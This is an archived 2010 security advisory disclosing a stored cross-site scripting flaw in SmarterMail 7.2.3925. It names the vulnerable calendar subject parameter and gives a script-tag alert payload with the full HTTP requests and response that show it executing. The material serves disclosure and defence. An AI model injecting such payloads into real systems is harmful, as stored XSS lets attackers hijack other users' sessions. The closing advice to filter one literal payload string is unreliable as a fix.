SmarterMail 7.2.3925 cross site scripting vulnerability

2010-10-05 / 2010-10-06
Credit: sqlhacker
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Source URL http://cloudscan.blogspot.com/2010/10/vendor-smartertoolscom-smartermail-7x.html ######################################################################## # Vendor: smartertools.com SmarterMail 7.x (7.2.3925) # Date: 2010-10-01 # Author : David Hoyt (sqlhacker) ? Hoyt LLC # Contact : h02332@gmail.com # Home : http://cloudscan.me # Dork : insite: SmarterMail Enterprise 7.1 # Bug : Cross Site Scripting - STORED # Tested on : SmarterMail 7.x (7.2.3925) // Windows 2008 /64/R2 # Uncoordinated Disclosure ######################################################################## ABSTRACT -------------------------- It is important for application developers to penetration test their products prior to release in order to find potential vulnerabilities and correct them before fraudsters exploit them. DISCLOSURE PURPOSE -------------------------- Applications for wide-scale deployment must be delivered with an exploit surface that is manageable. Developers failing to properly screen applications prior to release are at risk of uncoordinated disclosure. SECURITY COMMENTS -------------------------- Server Application developers should explicitly be detailing the exploit surface modeling performed on an application as part of the software development lifecycle prior to and as part of a candidate release. System Admins need to take a trust-no-one approach when installing Server and Client Applications for wide-scale deployment. ENGAGEMENT TOOLS -------------------------- I am using Immunity Debugger, Burp Suite Pro 1.3.08, Netsparker, Metasploit, NeXpose, XSS_Rays, FuzzDB as a baseline set of engagement tools that are being used to perform this analysis. DISCUSSION AND ANALYSIS -------------------------- SmarterMail 7.x (7.2.3925) was released on 10/1/2010 and was to have addressed a number of issues identified in CVE's http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3425 and http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3486. This advisory addresses Cross Site Scripting vulnerabilities found in SmarterMail 7.x (7.2.3925). Additional advisories will be released as we develop a bullet proof audit trail. Further advisories will focus on security by obscurity in SmarterMail. My prior work focused on the Cross Site Scripting (Reflected) found in various URL/Param combos. The most recent release added in the special feature of Cross Site Scripting, Stored. This is an unwelcome additional to the exploit surface map of SmarterMail 7.x (7.2.3925). AUDIT TRAIL -------------------------- Cross-site scripting (stored) Summary Severity: High Confidence: Certain Host: http://vulnerable.smartermail.site:9998 Path: /Main/frmToday.aspx Issue detail The value of the ctl00%24MPH%24SubjectBox_SettingText request parameter submitted to the URL /Main/Calendar/frmEvent.aspx is copied into the HTML document as plain text between tags at the URL /Main/frmToday.aspx. The payload f5d23<script>alert(1)</script>eb582083b9d was submitted in the ctl00%24MPH%24SubjectBox_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Main/frmToday.aspx. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. Issue background Stored cross-site scripting vulnerabilities arise when data which originated from any tainted source is copied into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content. The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes. Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP which are ultimately rendered within a web mail application). Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach targe users, and they can potentially be exploited to create web application worms which spread exponentially amongst application users. Note that automated detection of stored cross-site scripting vulnerabilities cannot reliably determine whether attacks that are persisted within the application can be accessed by any other user, only by authenticated users, or only by the attacker themselves. You should review the functionality in which the vulnerability appears to determine whether the application's behaviour can feasibly be used to compromise other application users. Issue remediation In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences: Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised. User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc). In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task. Request 1 POST /Main/Calendar/frmEvent.aspx?popup=true HTTP/1.1 Accept: */* Accept-Language: en-us Referer: http://vulnerable.smartermail.site:9998/Main/Calendar/frmEvent.aspx?popup=true # x-microsoftajax: Delta=true Content-Type: application/x-www-form-urlencoded; charset=utf-8 Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Host: vulnerable.smartermail.site:9998 Proxy-Connection: Keep-Alive Pragma: no-cache Cookie: SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserContacts"}; ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55 Content-Length: 27088 ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24SaveTextImageButton&ctl00%24TPH%24TabStrip%24SelectedTab=ctl00_TPH_TabStrip_Tab1&ctl00%24MPH%24VisiblePage=ctl00_MPH_OptionsTab&ctl00%24MPH%24SubjectBox_SettingText=f5d23<\\//script>alert(1)<\\/script>eb582083b9d&ctl00%24MPH%24InviteBox=&ctl00_MPH_InviteBox_ClientState=%7B%22logEntries%22%3A%5B%5D%2C%22value%22%3A%22%22%2C%22text%22%3A%22%22%2C%22enabled%22%3Atrue%7D&ctl00%24MPH%24LocationBox_SettingText=anyt ...[SNIP]... Request 2 GET /Main/frmToday.aspx HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* Referer: http://vulnerable.smartermail.site:9998/Default.aspx Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Accept-Encoding: gzip, deflate Host: vulnerable.smartermail.site:9998 Proxy-Connection: Keep-Alive Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=; settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default Response 2 HTTP/2.0 200 OK Server: SmarterTools/2.0.3925.24451 Date: Sat, 02 Oct 2010 00:29:05 GMT X-AspNet-Version: 2.0.50727 X-Compressed-By: HttpCompress Cache-Control: private Content-Type: text/html; charset=utf-8 Connection: Close Content-Length: 1294009 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" " http://www.w3.org/TR/html4/strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="ctl00_Head1"><title> My Today Page - hoytllc. ...[SNIP]... <a href="#" onclick="OpenNewMessage('Calendar/frmEvent.aspx?edit=b0f7be7eec69411b82be79429c806520&returnTo=frmToday', 600,400);">f5d23<\\script>alert(1)<\\/script>eb582083b9d</a<file://script%3ealert(1)%3c///script%3Eeb582083b9d%3C/a> > ...[SNIP]... REMEDIATION SOLUTION ------------------------ Smartertools should engage qualified resources for screening their products for vulnerabilities. Releasing updates without proper security screening puts a target bullseye on the application and causes customers to walk away and ask for refunds (witness my own actions). Some of the most basic programming errors are still present in the current release of SmarterMail 7.x (7.2.3925) I'm pusing an update to my clients now on this Stored XSS issue.. Simply filter out f5d23<\\script>alert(1)<\\/script>eb582083b9d<file://script%3ealert(1)%3c///script%3Eeb582083b9d>


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